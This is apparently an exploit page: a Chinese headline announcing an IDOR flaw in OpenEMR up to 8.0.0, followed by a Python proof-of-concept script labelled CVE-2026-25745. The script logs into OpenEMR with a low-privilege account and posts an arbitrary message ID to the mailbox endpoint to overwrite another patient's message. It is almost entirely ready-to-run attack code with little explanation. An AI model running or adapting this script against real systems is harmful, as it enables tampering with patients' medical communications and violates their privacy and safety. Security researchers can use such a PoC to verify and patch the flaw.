OpenEMR <= 8.0.0 IDOR漏洞可导致患者消息被非法篡改

import requests import json # CVE-2026-25745 PoC - OpenEMR IDOR Vulnerability # Target: OpenEMR <= 8.0.0 # Vulnerability: Insecure Direct Object Reference in message/note update endpoint TARGET_URL = "http://target-openemr.local" # Replace with actual target LOGIN_URL = f"{TARGET_URL}/interface/main/main.php" MESSAGE_UPDATE_URL = f"{TARGET_URL}/interface/patient_file/summary/add_mailbox.php" # Authentication credentials USERNAME = "attacker_account" PASSWORD = "attacker_password" def login(session, username, password): """Authenticate to OpenEMR""" login_data = { "authToken": "", "authDomain": "", "username": username, "password": password, "redirect": "/interface/main/main.php", "auth": "standard" } response = session.post(LOGIN_URL, data=login_data) return response.status_code == 200 def exploit_idor(session, target_message_id, malicious_content): """ Exploit the IDOR vulnerability by updating another patient's message Args: session: Authenticated requests session target_message_id: ID of the target patient's message to modify malicious_content: New content to inject Returns: Response from the server """ # Malicious request - no validation of message ownership update_data = { "form_id": target_message_id, # Arbitrary message ID from other patient "form_note": malicious_content, "form_activity": "1", "mode": "save" } headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } response = session.post(MESSAGE_UPDATE_URL, data=update_data, headers=headers) return response def main(): session = requests.Session() # Step 1: Login with low-privilege account print("[*] Logging in to OpenEMR...") if not login(session, USERNAME, PASSWORD): print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Exploit IDOR - modify another patient's message # Target message ID can be enumerated or guessed target_msg_id = 12345 # Replace with actual target message ID injected_content = "MALICIOUS_MODIFIED_CONTENT" print(f"[*] Attempting to modify message ID: {target_msg_id}") response = exploit_idor(session, target_msg_id, injected_content) if response.status_code == 200: print("[+] IDOR exploit successful - message modified without ownership check") else: print(f"[-] Exploit failed with status: {response.status_code}") if __name__ == "__main__": main()